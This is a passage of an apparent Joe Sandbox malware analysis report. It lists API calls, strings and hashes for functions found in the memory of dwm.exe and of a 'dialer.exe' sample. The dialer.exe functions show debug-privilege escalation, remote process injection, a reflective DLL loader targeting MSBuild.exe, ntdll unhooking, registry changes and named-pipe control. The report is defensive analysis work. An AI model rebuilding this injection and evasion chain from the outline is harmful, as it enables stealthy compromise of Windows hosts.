riptor at (, xrefs: 000001160CA17364
ierarchy Descriptor', xrefs: 000001160CA17381

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: c0a5260d4565518679feef097d06a02bc0bfde01f34614aa26c6d8bc224e3694
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 8AE08671A41B4490DF058F66E8502D833A0EB5CB64B489122AE5C46355FA38D5E9C300

Function 000001160CA173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001160CA173D8

Strings

riptor at (, xrefs: 000001160CA173C0
Locator', xrefs: 000001160CA173DD

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 7f79f916cc466bbc11b84d9897c8e972a5277db83b1fa8ed52cf4a51190c544d
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 9EE08671A01B4480DF058F66D4501D87360E75CB64B889122DE4C46355EA38D5E5C300

Function 000001160CA41BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA41C2D
HeapAlloc.KERNEL32 ref: 000001160CA41C3B
GetProcessHeap.KERNEL32 ref: 000001160CA41C77
HeapFree.KERNEL32 ref: 000001160CA41C85

Part of subcall function 000001160CA4152C: StrCmpIW.SHLWAPI ref: 000001160CA4155D

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 975b2d68c81d0244af3f30b12e2b6496ad7a6602a13cf746120706274c7070cd
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: FC113A35611B8481EA58DB66A8082E967A1FBCDFC1F588168EF4D5776ADE3AC4C28300

Function 000001160CA41268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA4126E
HeapAlloc.KERNEL32 ref: 000001160CA4127D
GetProcessHeap.KERNEL32 ref: 000001160CA41297
HeapAlloc.KERNEL32 ref: 000001160CA412A8

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: c379e78445a7243494717b96d79580f3b466e813cc177712385685fd28dc66dd
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: F5E03935601B0486EB488B62D8083AA36E1FB8DB06F84C024DF0907755DF7E84D9C750

Analysis Process: dialer.exePID: 7056, Parent PID: 3524COMMON

Execution Graph

Execution Coverage:	48.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	226
Total number of Limit Nodes:	22

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
pid, xrefs: 000000014000241B
DLL, xrefs: 0000000140002321
SOFTWARE\dialerconfig, xrefs: 0000000140002399
ntdll.dll, xrefs: 0000000140002277
SeDebugPrivilege, xrefs: 00000001400022C9
kernel32.dll, xrefs: 0000000140002283
svc64, xrefs: 0000000140002452

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

MSBuild.exe, xrefs: 00000001400011B8
@, xrefs: 0000000140001401
dialer.exe, xrefs: 00000001400011CC
ReflectiveDllMain, xrefs: 000000014000139D

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: 180580de56f56ab00dd4d516fca46f959342e05f281243e0c5337f45e18aa23b
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 33f89feb9858a4e39e6e7226b1872fe8dc0a47489d7e71beaca7a62b826bfc15
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNELBASE ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000003E.00000002.3278631713.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3278334574.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3278899417.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3279073587.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
